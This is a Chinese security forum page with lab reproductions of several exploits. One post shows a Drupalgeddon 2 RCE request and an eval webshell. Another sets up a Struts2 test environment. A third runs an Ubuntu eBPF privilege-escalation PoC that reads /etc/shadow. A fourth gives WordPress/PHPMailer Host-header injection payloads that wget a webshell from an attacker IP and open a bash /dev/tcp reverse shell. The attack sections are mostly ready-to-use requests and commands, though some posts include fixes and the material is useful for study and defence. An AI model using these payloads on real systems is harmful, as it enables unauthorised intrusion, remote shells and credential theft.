Drupal 远程代码执行漏洞(CVE-2018-7600)

渗透测试zksmile 发表了文章 • 0 个评论 • 223 次浏览 • 2018-09-02 11:49 • 来自相关话题

0x01 前言Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开放框架(Framework)共同构成,连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。全世界有超过一百万个站点(包括政府,电子零售,企业组织,金融机构等)使用它们。0x02 漏洞详情Drupal安全团队披露了一个非常关键的(25/25 NIST排名)漏洞,绰号为Drupalgeddon 2(SA-CORE-2018-002 / CVE-2018-7600)。此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。
0x03 漏洞编号CVE-2018-76000x04 影响范围从6到8的所有Drupal版本都存在漏洞0x05 漏洞原理http://www.venenof.com/index.php/archives/529/
https://paper.seebug.org/567/
https://research.checkpoint.com/uncovering-drupalgeddon-2/


0x06 复现环境Drupal 8.5.00x07 漏洞复现
 
1、漏洞的触发点是在用户注册上传头像处 




2、发送以下数据包即可检测和利用该漏洞 POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: IP:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
form_id=user_register_form&_drupal_ajax=1&mail[#post_render]=exec&mail[#type]=markup&mail[#markup]=whoami



3、在利用的过程中可以使用linux的tee
 
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
 
tee存在缓存机制,每1024个字节将输出一次。若从管道接收输入数据,应该是缓冲区满,才将数据转存到指定的文件中。若文件内容不到1024个字节,则接收完从标准输入设备读入的数据后,将刷新一次缓冲区,并转存数据到指定文件。 
 










4、写一句话木马
 
发现一句话被过滤一些内容并且内容并没有被解析。 





思路就是利用curl 获取远程服务器的shell。
 
远程服务器文件内容如下:zksmile@xxx:/var/www/html/zk$ cat one.txt
<?php @eval($_POST['zksmile'])?>
zksmile@xxx:/var/www/html/zk$执行:





这个时候一句话木马也上传成功了,文件也没有问题,但是使用菜刀连接时一直连接不成,此时换一个大马,成功解析。 










  查看全部
0x01 前言
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开放框架(Framework)共同构成,连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。全世界有超过一百万个站点(包括政府,电子零售,企业组织,金融机构等)使用它们。
0x02 漏洞详情
Drupal安全团队披露了一个非常关键的(25/25 NIST排名)漏洞,绰号为Drupalgeddon 2(SA-CORE-2018-002 / CVE-2018-7600)。此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。
0x03 漏洞编号
CVE-2018-7600
0x04 影响范围
从6到8的所有Drupal版本都存在漏洞
0x05 漏洞原理
http://www.venenof.com/index.php/archives/529/
https://paper.seebug.org/567/
https://research.checkpoint.com/uncovering-drupalgeddon-2/


0x06 复现环境
Drupal 8.5.0
0x07 漏洞复现
 
1、漏洞的触发点是在用户注册上传头像处 
1.png

2、发送以下数据包即可检测和利用该漏洞 
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: IP:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
form_id=user_register_form&_drupal_ajax=1&mail[#post_render]=exec&mail[#type]=markup&mail[#markup]=whoami
2.png

3、在利用的过程中可以使用linux的tee
 
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
 
tee存在缓存机制,每1024个字节将输出一次。若从管道接收输入数据,应该是缓冲区满,才将数据转存到指定的文件中。若文件内容不到1024个字节,则接收完从标准输入设备读入的数据后,将刷新一次缓冲区,并转存数据到指定文件。 
 
3.png


3.2_.png


4、写一句话木马
 
发现一句话被过滤一些内容并且内容并没有被解析。 

4.png

思路就是利用curl 获取远程服务器的shell。
 
远程服务器文件内容如下:
zksmile@xxx:/var/www/html/zk$ cat one.txt
<?php @eval($_POST['zksmile'])?>
zksmile@xxx:/var/www/html/zk$
执行:

4.2_.png

这个时候一句话木马也上传成功了,文件也没有问题,但是使用菜刀连接时一直连接不成,此时换一个大马,成功解析。 

4.3_.png


4.4_.png

 

Struts2-057 漏洞环境搭建+案例

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 269 次浏览 • 2018-09-01 10:10 • 来自相关话题

一、struts2 搭建
这几天为了复现struts2-057的漏洞,自己试着去搭建一下环境,但是以前对JAVA不是太熟悉,进入了知识的盲区,慢慢摸索进行,跳了很多坑,总之还是完成了struts2的环境搭建,这里总结一下,希望大家少走弯路,有所帮助。
二、struts2 环境说明系统环境:Windows 7
Web服务器:TOMCAT 9.0(apache-tomcat-9.0.11-windows-x64)
JAVA 环境:JDK1.8(jdk-8u181-windows-x64)
Eclipse 环境:Eclipse-inst-win64
Struts2:struts-2.3.20-all.zip
为了大家方便,我直接把所有的包传到百度网盘,给大家分享出来,包都是来自官网:
链接:https://pan.baidu.com/s/1orpMO2zYHWK2xqsSm510-A 密码:9nkh
三 、安装前的说明
安装的顺序为JDK+TOMCAT+Eclipse+Struts2, 这里的一定要注意JDK和TOMCAT的版本搭配,目前我测试过的位JDK1.8+ TOMCAT9.0 是没有问题的,在这上面可算栽大跟头了。所以大家一定要多注意这点。基础环境的版本很重要。
四 、JDK环境安装配置
 Step1:URL下载链接
http://www.oracle.com/technetwork/cn/java/javase/downloads/jdk8-downloads-2133151-zhs.html






 Step2:安装过程
JDK安装很简单,点击下一步安装即可,默认安装就可以了,这里需要记住自己的安装路径,下面介绍一下JDK的环境变量的配置。
Step3:环境变量
Windows7的电脑属性----》高级系统设置----》环境变量






增加系统变量(不是用户变量)JAVA_HOME, 变量内容:安装JDK的路径,截图如下






配置Path的环境变量,在path环境后面增加JAVA_HOME 内容如下:;%JAVA_HOME%/bin,截图如下:






五、 TOMCAT环境安装配置
Step1:下载链接:
https://tomcat.apache.org/
Step2:下载二进制文件,免安装
Step3:配置一下环境变量,跟JDK的配置步骤一样
%TOMCAT_HOME%/bin
Step4:测试一下是否成功,在命令行下执行 startup 启动tomcat服务器,然后在浏览器中输入:localhost:8080











六、Eclipse 安装

Eclipse的安装不存在坑,只要正常安装即可,但是必须之前安装JDK和TOMCAT, Eclipse本身就是一个编译器,为了更加高效的开发。
 
七 、struts环境的部署
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Step1:下载Strust2  URL地址:https://archive.apache.org/dist/struts/ 






Step2:Eclipse 创建一个dynamic web project






step3:配置项目创建









八、 struts工作流程
其实用最简单的七个步骤: 1:客户端在浏览器中输入一个url地址;
2:这个url请求通过http协议发送给tomcat;
3:tomcat根据url找到对应项目里面的web.xml文件;
4:在web.xml里面会发现有struts2的配置;
5:然后会找到struts2对应的struts.xml配置文件;
6:根据url解析struts.xml配置文件就会找到对应的class;
7:调用完class返回一个结果result,根据struts.xml返回到对应的jsp;
具体文档可以参考:https://blog.csdn.net/liuyinghui523/article/details/48290625
 
九、 struts的一个案例
struts2 案例中,分为了 导入struts2的基础包和引用、配置web.xml 、创建Action和struts.xml 和创建视图result.jsp。具体的步骤为:
 
step1: 导入struts2的基础包






step2:修改一下web.xml 文件<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" id="WebApp_ID" version="4.0">
<display-name>helloworld</display-name>

<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
step3:创建一个方法Action











step4:配置helloworld的java文件如下:package com.imooc.action;

import com.opensymphony.xwork2.ActionSupport;

public class HelloWorldAction extends ActionSupport {

@Override
public String execute() throws Exception {
// TODO Auto-generated method stub
System.out.println("执行Action");
return SUCCESS;
}


}





step5:创建一个视图文件result.jsp 文件<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
this is result.jsp
</body>
</html>step6:进行测试










 

 备注:如果有人需要进行VM已经调试好的环境,可以找我私聊。
 
  查看全部
一、struts2 搭建
这几天为了复现struts2-057的漏洞,自己试着去搭建一下环境,但是以前对JAVA不是太熟悉,进入了知识的盲区,慢慢摸索进行,跳了很多坑,总之还是完成了struts2的环境搭建,这里总结一下,希望大家少走弯路,有所帮助。
二、struts2 环境说明
系统环境:Windows 7
Web服务器:TOMCAT 9.0(apache-tomcat-9.0.11-windows-x64)
JAVA 环境:JDK1.8(jdk-8u181-windows-x64)
Eclipse 环境:Eclipse-inst-win64
Struts2:struts-2.3.20-all.zip

为了大家方便,我直接把所有的包传到百度网盘,给大家分享出来,包都是来自官网:
链接:https://pan.baidu.com/s/1orpMO2zYHWK2xqsSm510-A 密码:9nkh
三 、安装前的说明
安装的顺序为JDK+TOMCAT+Eclipse+Struts2, 这里的一定要注意JDK和TOMCAT的版本搭配,目前我测试过的位JDK1.8+ TOMCAT9.0 是没有问题的,在这上面可算栽大跟头了。所以大家一定要多注意这点。基础环境的版本很重要。
四 、JDK环境安装配置
 Step1:URL下载链接
http://www.oracle.com/technetwork/cn/java/javase/downloads/jdk8-downloads-2133151-zhs.html

QQ图片20180901084041.png


 Step2:安装过程
JDK安装很简单,点击下一步安装即可,默认安装就可以了,这里需要记住自己的安装路径,下面介绍一下JDK的环境变量的配置。
Step3:环境变量
Windows7的电脑属性----》高级系统设置----》环境变量

QQ截图20180901084637.png


增加系统变量(不是用户变量)JAVA_HOME, 变量内容:安装JDK的路径,截图如下

QQ截图20180901085030.png


配置Path的环境变量,在path环境后面增加JAVA_HOME 内容如下:;%JAVA_HOME%/bin,截图如下:

QQ截图20180901085946.png


五、 TOMCAT环境安装配置
Step1:下载链接:
https://tomcat.apache.org/
Step2:下载二进制文件,免安装
Step3:配置一下环境变量,跟JDK的配置步骤一样
%TOMCAT_HOME%/bin
Step4:测试一下是否成功,在命令行下执行 startup 启动tomcat服务器,然后在浏览器中输入:localhost:8080

QQ截图20180901091213.png


QQ截图20180901091308.png


六、Eclipse 安装

Eclipse的安装不存在坑,只要正常安装即可,但是必须之前安装JDK和TOMCAT, Eclipse本身就是一个编译器,为了更加高效的开发。
 
七 、struts环境的部署
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Step1:下载Strust2  URL地址:https://archive.apache.org/dist/struts/ 

QQ截图20180901090458.png


Step2:Eclipse 创建一个dynamic web project

QQ截图20180901093319.png


step3:配置项目创建
QQ截图20180901093609.png

QQ截图20180901093843.png


八、 struts工作流程
其实用最简单的七个步骤:
  1:客户端在浏览器中输入一个url地址;
2:这个url请求通过http协议发送给tomcat;
3:tomcat根据url找到对应项目里面的web.xml文件;
4:在web.xml里面会发现有struts2的配置;
5:然后会找到struts2对应的struts.xml配置文件;
6:根据url解析struts.xml配置文件就会找到对应的class;
7:调用完class返回一个结果result,根据struts.xml返回到对应的jsp;

具体文档可以参考:https://blog.csdn.net/liuyinghui523/article/details/48290625
 
九、 struts的一个案例
struts2 案例中,分为了 导入struts2的基础包和引用、配置web.xml 、创建Action和struts.xml 和创建视图result.jsp。具体的步骤为:
 
step1: 导入struts2的基础包

QQ截图20180901095608.png


step2:修改一下web.xml 文件
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" id="WebApp_ID" version="4.0">
<display-name>helloworld</display-name>

<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

step3:创建一个方法Action

QQ截图20180901100025.png


QQ截图20180901100127.png


step4:配置helloworld的java文件如下:
package com.imooc.action;

import com.opensymphony.xwork2.ActionSupport;

public class HelloWorldAction extends ActionSupport {

@Override
public String execute() throws Exception {
// TODO Auto-generated method stub
System.out.println("执行Action");
return SUCCESS;
}


}

QQ截图20180901102328.png


step5:创建一个视图文件result.jsp 文件
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
this is result.jsp
</body>
</html>
step6:进行测试

QQ截图20180901103359.png


QQ截图20180901103155.png

 

 备注:如果有人需要进行VM已经调试好的环境,可以找我私聊。
 
 

Ubuntu 16.04 本地提权漏洞复现过程

系统安全ttgo2 发表了文章 • 0 个评论 • 224 次浏览 • 2018-08-28 17:35 • 来自相关话题

一、漏洞描述
该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 非特权用户可以使用此漏洞获得权限提升
二、影响范围
主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响Linux内核:Linux Kernel Version 4.14 ~ 4.4
Ubuntu版本:16.04.01~ 16.04.04root@ubuntu:~# cat /etc/issue
Ubuntu 16.04.3 LTS \n \l

root@ubuntu:~# uname -r
4.4.0-87-generic
root@ubuntu:~# 三、测试环境
VM虚拟机:vmware station 12
操作系统:ubuntu-16.04.3-server-amd64.iso
POC:  链接:https://pan.baidu.com/s/1Xwg2AF5TCASvETdrW-Vg-A 密码:b7c2
四、复现过程
step1: 查看本地id 当前的用户




step2:下载POC到本地家目录
可以通过xshell下的xftp直接上传到服务器,不再具体讲解。
step3:安装gcc的编译环境sudo apt-get install gcc



step4:使用gcc进行编译 upstream44.c的文件gcc -o sec upstream44.cstep5: 给sec文件增加一个执行权限chmod +x sec


step6:执行sec文件,进行本地提权ttgo2@ubuntu:~$ ./sec
task_struct = ffff88003278aa00
uidptr = ffff8800327d3e04
spawning root shell
root@ubuntu:~#



step7:提权成功,执行id和cat /etc/shadowroot@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare),1000(ttgo2)
root@ubuntu:~# cat /etc/shadow
root:!:17771:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::



五、漏洞修复
升级一下内核版本即可,具体操作如下:
 step1:找到合适的版本,最新不一定是最好
ubuntu 内核版本地址:http://kernel.ubuntu.com/~kernel-ppa/mainline/





step2: 选择v4.8 进入,选择如下:linux-headers-4.8.0-040800_4.8.0-040800.201610022031_all.deb
linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb
linux-image-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb



step3: 下载到本地目录wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.8/linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.debstep4:进行安装,过程如下:ttgo2@ubuntu:~$ [b]sudo dpkg -i *.deb
[/b][sudo] password for ttgo2:
Selecting previously unselected package linux-headers-4.8.0-040800.
(Reading database ... 90554 files and directories currently installed.)
Preparing to unpack linux-headers-4.8.0-040800_4.8.0-040800.201610022031_all.deb ...
Unpacking linux-headers-4.8.0-040800 (4.8.0-040800.201610022031) ...
Selecting previously unselected package linux-headers-4.8.0-040800-generic.
Preparing to unpack linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb ...
Unpacking linux-headers-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Selecting previously unselected package linux-image-4.8.0-040800-generic.
Preparing to unpack linux-image-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb ...
Done.
Unpacking linux-image-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Setting up linux-headers-4.8.0-040800 (4.8.0-040800.201610022031) ...
Setting up linux-headers-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Setting up linux-image-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Running depmod.
update-initramfs: deferring update (hook will be called later)
Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/apt-auto-removal 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
run-parts: executing /etc/kernel/postinst.d/initramfs-tools 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
update-initramfs: Generating /boot/initrd.img-4.8.0-040800-generic
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
Generating grub configuration file ...
Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported.
Found linux image: /boot/vmlinuz-4.8.0-040800-generic
Found initrd image: /boot/initrd.img-4.8.0-040800-generic
Found linux image: /boot/vmlinuz-4.4.0-87-generic
Found initrd image: /boot/initrd.img-4.4.0-87-generic
done
 
step4: 然后对系统进行重启,查看版本是否更新到4.8​ttgo2@ubuntu:~$ uname -sr
Linux 4.8.0-040800-genericstep5:复测一下漏洞是否修复ttgo2@ubuntu:~$ ./sec
task_struct = ffff9923741d5900
error: bogus uid ptr
ttgo2@ubuntu:~$





 
到此为止全部工作已经搞定,这个过程中升级内核会有一定的风险,这里建议能重新安装就重新安装一个新的系统,我实验过程中遇到一次升级失败,导致系统无法启动,幸亏有镜像。水平有限大牛们多多指教。谢谢 查看全部
一、漏洞描述
该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 非特权用户可以使用此漏洞获得权限提升
二、影响范围
主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响
Linux内核:Linux Kernel Version 4.14 ~ 4.4 
Ubuntu版本:16.04.01~ 16.04.04
root@ubuntu:~# cat /etc/issue
Ubuntu 16.04.3 LTS \n \l

root@ubuntu:~# uname -r
4.4.0-87-generic
root@ubuntu:~#
三、测试环境
VM虚拟机:vmware station 12
操作系统:ubuntu-16.04.3-server-amd64.iso
POC:  链接:https://pan.baidu.com/s/1Xwg2AF5TCASvETdrW-Vg-A 密码:b7c2
四、复现过程
step1: 查看本地id 当前的用户
u1.png

step2:下载POC到本地家目录
可以通过xshell下的xftp直接上传到服务器,不再具体讲解。
step3:安装gcc的编译环境
sudo apt-get install gcc
u2.png

step4:使用gcc进行编译 upstream44.c的文件
gcc -o sec upstream44.c
step5: 给sec文件增加一个执行权限
chmod +x sec


step6:执行sec文件,进行本地提权
ttgo2@ubuntu:~$ ./sec 
task_struct = ffff88003278aa00
uidptr = ffff8800327d3e04
spawning root shell
root@ubuntu:~#
t1.png

step7:提权成功,执行id和cat /etc/shadow
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare),1000(ttgo2)
root@ubuntu:~# cat /etc/shadow
root:!:17771:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
t2.png

五、漏洞修复
升级一下内核版本即可,具体操作如下:
 step1:找到合适的版本,最新不一定是最好
ubuntu 内核版本地址:http://kernel.ubuntu.com/~kernel-ppa/mainline/

a2.png

step2: 选择v4.8 进入,选择如下:
linux-headers-4.8.0-040800_4.8.0-040800.201610022031_all.deb 
linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb
linux-image-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb
a3.png

step3: 下载到本地目录
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.8/linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb
step4:进行安装,过程如下:
ttgo2@ubuntu:~$ [b]sudo dpkg -i *.deb
[/b][sudo] password for ttgo2:
Selecting previously unselected package linux-headers-4.8.0-040800.
(Reading database ... 90554 files and directories currently installed.)
Preparing to unpack linux-headers-4.8.0-040800_4.8.0-040800.201610022031_all.deb ...
Unpacking linux-headers-4.8.0-040800 (4.8.0-040800.201610022031) ...
Selecting previously unselected package linux-headers-4.8.0-040800-generic.
Preparing to unpack linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb ...
Unpacking linux-headers-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Selecting previously unselected package linux-image-4.8.0-040800-generic.
Preparing to unpack linux-image-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb ...
Done.
Unpacking linux-image-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Setting up linux-headers-4.8.0-040800 (4.8.0-040800.201610022031) ...
Setting up linux-headers-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Setting up linux-image-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Running depmod.
update-initramfs: deferring update (hook will be called later)
Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/apt-auto-removal 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
run-parts: executing /etc/kernel/postinst.d/initramfs-tools 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
update-initramfs: Generating /boot/initrd.img-4.8.0-040800-generic
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
Generating grub configuration file ...
Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported.
Found linux image: /boot/vmlinuz-4.8.0-040800-generic
Found initrd image: /boot/initrd.img-4.8.0-040800-generic
Found linux image: /boot/vmlinuz-4.4.0-87-generic
Found initrd image: /boot/initrd.img-4.4.0-87-generic
done

 
step4: 然后对系统进行重启,查看版本是否更新到4.8
​ttgo2@ubuntu:~$ uname -sr
Linux 4.8.0-040800-generic
step5:复测一下漏洞是否修复
ttgo2@ubuntu:~$ ./sec
task_struct = ffff9923741d5900
error: bogus uid ptr
ttgo2@ubuntu:~$

x1.png

 
到此为止全部工作已经搞定,这个过程中升级内核会有一定的风险,这里建议能重新安装就重新安装一个新的系统,我实验过程中遇到一次升级失败,导致系统无法启动,幸亏有镜像。水平有限大牛们多多指教。谢谢

WordPress <= 4.6 命令执行漏洞

渗透测试zksmile 发表了文章 • 0 个评论 • 267 次浏览 • 2018-08-23 20:13 • 来自相关话题

精彩的不是利用,而是不断的突破,看了别人的思路受益匪浅。
 
0x01漏洞信息
这个锅还是要PHPMailer背(CVE-2016-10033,WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
 
0x02漏洞编号CVE-2016-10033

https://paper.seebug.org/161/
0x03影响版本WordPress <= 4.7.1
PHPMailer < 5.2.180x04复现环境https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum0x05漏洞分析
 
漏洞出现在管理员的密码重置界面/wp-login.php?action=lostpassword 





在找回密码时WordPress会使用PHPmailer发送重置密码的邮件,这个时候PHPmailer<=5.2.18时存在RCE。
 
打开/wp-includes/class-phpmailer.php中 public $Mailer = 'mail';

/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
由代码可以看出PHPmailer调用的是/usr/sbin/semdmail来发送邮件的。
发送邮件的命令格式为:sendmail -t -i -fusername@hostname /**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。
 
sendmail 提供了-O 和-X参数。 -OQueueDirectory=/tmp/ -X/tmp/aaa.php,它会将发送的邮件保存到/tmp/aaa.php中。
因此我们可以构造以下payload: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: aaa( -X/tmp/aaa.php )@qq.com
这里Host字段值中@符号前用了一个”( )”,这样可以直接在括号中使用空格.
具体大家可以看P神博客的两篇文章。 
https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
但是由于WordPress以及PHPMailer都会防止攻击者注入空字符。并且host字段值中出现’/'会出现请求错误。
 
可以看到在ubuntu中已经使用exim4替代了sendmail的功能。 root@990b6f7e34bb:/var/www/html/wp-includes# which sendmail
/usr/sbin/sendmail
root@990b6f7e34bb:/var/www/html/wp-includes# file /usr/sbin/sendmail
/usr/sbin/sendmail: symbolic link to `exim4'
在exim4中有一个-be参数可以读取一些变量的数据: root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$tod_log'
2018-08-23 10:22:21
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4
exim4还支持一些函数用来执行一些命令: root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${substr{0}{1}{$spool_directory}}'
/
从第一个字符开始截取,然后截取长度为1,刚好可以把’/’截取出来
 
因此我们可以将: 空格 —> ${substr{10}{1}{$tod_log}}

/ —> ${substr{0}{1}{$spool_directory}}
$run还可以调用系统命令: root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${run{/usr/bin/id}}'
uid=0(root) gid=105(Debian-exim) groups=0(root)
比如我们此时想执行在/tmp下创建一个test.php aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.php}} null)
==> aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.php}} null)
此时在重置密码处输入用户名admin,然后使用BurpSuite抓包拦截,修改host的值: 





在/tmp下文件创建成功。 root@990b6f7e34bb:/tmp# ls -al
total 8
drwxrwxrwt 1 root root 4096 Aug 23 10:46 .
drwxr-xr-x 1 root root 4096 Aug 23 08:48 ..
-rw—---- 1 www-data www-data 0 Aug 23 10:44 test.php
实际利用的过程中还需要注意一下几点:
[]执行的命令不能包含大量特殊字符比如 :、引号等等。[/][]命令会被转换为小写字母[/][]命令需要使用绝对路径[/][]需要知道一个存在的用户名,比如admin. [/]
 
 0x06实战利用 
一、写webshell
场景描述:
攻击机器IP: 172.18.0.1
目标靶机IP: 172.18.0.3 
 
攻击机器开启web服务,172.18.0.1/zk/one.txt内容如下: <?php @eval($_POST['zksmile'])?>
利用步骤:
1、发送payload使目标靶机下载one.txt,并保存到web根目录下/var/www/html/shell.php
2、使用菜刀链接shell.php
 
1、下载one.txt aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 172.18.0.1/zk/one.txt}} null)
==> aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}one.txt}} null)





2、使用菜刀链接: 





二、反弹shell
场景描述:
攻击机器IP: 172.18.0.1
目标靶机IP: 172.18.0.3
 
攻击机器开启web服务,172.18.0.1/zk/shell.txt内容如下: bash -i >& /dev/tcp/172.18.0.1/7001 0>&1
利用步骤:
1、发送payload使靶机下载shell.txt,并保存到/tmp/shell
2、在攻击机器上使用nc监听7001端口
3、发送payload使靶机运行shell
注意:远程 URL 中不能有 http://,并且所有字母必须小写。
 
 
1、下载远程服务器上的脚本文件payload: aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 172.18.0.1/zk/shell.txt}} null)
